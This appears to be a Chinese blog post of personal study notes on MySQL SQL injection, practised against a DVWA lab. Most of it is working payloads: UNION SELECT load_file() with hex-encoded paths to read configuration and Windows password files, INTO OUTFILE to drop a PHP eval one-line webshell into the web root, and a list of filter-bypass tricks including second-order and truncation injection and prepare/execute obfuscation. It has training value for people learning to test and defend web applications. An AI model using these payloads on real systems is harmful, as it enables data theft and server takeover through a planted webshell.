安全数据库-文件查看,文件上传 加 注入总结

安全数据库的文件查看

前提条件:

1、mysql的目录是必须可以读写的                    运维部署经常是开启目录的权限的。
2、需要mysql的root权限,并且要开启root的远程登录。  运维需要备份,所以也是满足的
3、开启mysql的配置文件  secure_file_priv          默认配置一般是没有的,需要进入配置文件,添加进去,然后重启mysql

windomysql.ini 
[mysqld]
secure_file_priv=""

mysql> show variables like '%secure%';
+------------------+-------+
| Variable_name    | Value |
+------------------+-------+
| secure_auth      | OFF   |
| secure_file_priv |       |
+------------------+-------+
2 rows in set (0.05 sec)

# 重启mysql

获取物理机的实际目录

1、使用函数报错的方式,让mysql 暴露出安装的路径
2、使用系统扫描器和web扫描器,扫一些信息
3、利用搜索引擎 搜索一下 error信息 
4、通过已知的软件默认安装位置。  windows  linux 下的;
 windows   系统安装目录  c:  D:    搜狗输入法  谷歌火狐的游览器  文本编辑器 ,系统软件的目录
 linux     /tmp  /usr   等等不经常使用的目录  
' union select 1,load_file(C:\\123.txt)+--+ 

目标文件C:\\123.txt  windows系统中特殊字符的原因,需要进行16进制的编码 ,后期所有携带特殊字符的都应该16进制编码  


' union select 1,load_file(0x433A5C5C3132332E747874)+--+ 
 其中的空格  逗号,等等被游览器自动编码了  
 http://10.0.0.154/dvwa/vulnerabilities/sqli/?id=1%27%20union%20select%201,load_file(0x433A5C5C3132332E747874)+--+&Submit=Submit#


load_file函数能够使用的话,那么软件配置文件和系统的文件基本都能读到
比如 数据的配置文件  ,windows密码文件  用户文件 等等

D:\phpStudy\PHPTutorial\MySQL\my-huge.ini
转化成16进制
0x443A5C70687053747564795C5048505475746F7269616C5C4D7953514C5C6D792D687567652E696E69
' union select 1,load_file(0x443A5C70687053747564795C5048505475746F7269616C5C4D7953514C5C6D792D687567652E696E69)+--+ 


正常的请求 
http://10.0.0.154/dvwa/vulnerabilities/sqli/?id=1' union select 1,load_file(0x443A5C70687053747564795C5048505475746F7269616C5C4D7953514C5C6D792D687567652E696E69)+--+&Submit=Submit#

文件就被读到了

为什么要找网站的根路径

部署软件是一般不是进行编译安装的就是默认安装
为什么要找网站的根路径?
木马文件放上去,如何执行? 
在web页面上去用网络路径去执行木马程序,就必须把文件上传到网站站点的目录下,要不然无法通过网络路径去执行!

所以必须要找网站的根路径

安全数据库的文件写入

mysql 使用into outfile 函数进行文件上传
前提条件:网站的根目录的路径和物理路径的对应关系

podpay:
1' union select  "<?php @eval($_POSt["123"]);?>",2  into outfile "D:\\123.php"+--+
# 把双引号的字符串进行 16进制编码 

1' union select 0x223C3F70687020406576616C28245F504F53745B22313233225D293B3F3E22,2  into outfile "D:\phpStudy\PHPTutorial\WWW\dvwa\123.php"+--+


#用特殊字符用转义符号单斜线变双斜线
目录地址 D:\phpStudy\PHPTutorial\WWW\dvwa\123.php  D:\\phpStudy\\PHPTutorial\\WWW\dvwa\\123.php  

        注意D盘路径不能有空格,不能有中文字符
1' union select 0x223C3F70687020406576616C28245F504F53745B22313233225D293B3F3E22,2 into outfile "D:\\phpStudy\\PHPTutorial\\WWW\\dvwa\\124.php"+--+ 
    
**Warning**: mysqli_fetch_assoc() expects parameter 1 to be mysqli_result, boolean given in **D:\phpStudy\PHPTutorial\WWW\dvwa\vulnerabilities\sqli\source\low.php** on line **12**

菜刀一句话webshell

正常反弹shell 和 文件管理功能


SQL注入总结

SQL注入总结

1、没有对提交的数据进行校验 #(能返回数据)
   注入:采用 多个判断条件进行数据反弹回来 (or  and  union  order by,, 函数回显,limit 分页显示,group_concat 单行显示)

2、对提交的数据进行校验 select update drop insert where \. # $       #(能返回数据)
  注入:对sql 的关键字进行修改大小写,重写,加尖括号,加内联注释,编码 16进制,堆叠注入,gbk编码变形  
  
  利用sql的抽取数据,不会判断数据库内容 这一策略做的  
  二次注入 注册账号为 admin’  或者 root’ ,写入到session 。 在发起请求登录 变成  select * from users where username='admin' #' 形成注入

  约束注入 
   利用sql语句会忽略空格,值为admin 1234
  注册账号为 admin        123或者 root      123,根据字段的设置长度,返回给你  select * from users where username='admin' #' 形成注入
  
  使用mysql的保留字一般不会被检测
  join  替代 , 逗号
  concat  替代 引号 ''
  prepare创建sql execute 执行  ,执行多条sql,绕过检测

3、对提交的sql语句,执行后没有返回值 #(不能返回报错信息,或者第二段的sql)
  注入: 记性盲注 使用布尔盲注,或者时间盲注,确认注入点。
        然后使用asccii的表进行逆向解析反解 information_schame

4、mysql的函数使用
   注入:set prepare execute updatexml  upload_file  是mysql本身的函数,不会被校验。
    
  
 预编译
mysql> set @yu=concat('se','lect ','user ','from ','mysql.user');prepare sb from @yu;execute sb;
Query OK, 0 rows affected (0.00 sec)
Query OK, 0 rows affected (0.00 sec)
Statement prepared

+------+
| user |
+------+
| root |
| root |
| root |
| root |
+------+
4 rows in set (0.02 sec)

https://www.anquanke.com/post/id/205376 注入汇总 多看 多总结

posted @ 2022-06-28 13:42  mmszxc  阅读(197)  评论(0)    收藏  举报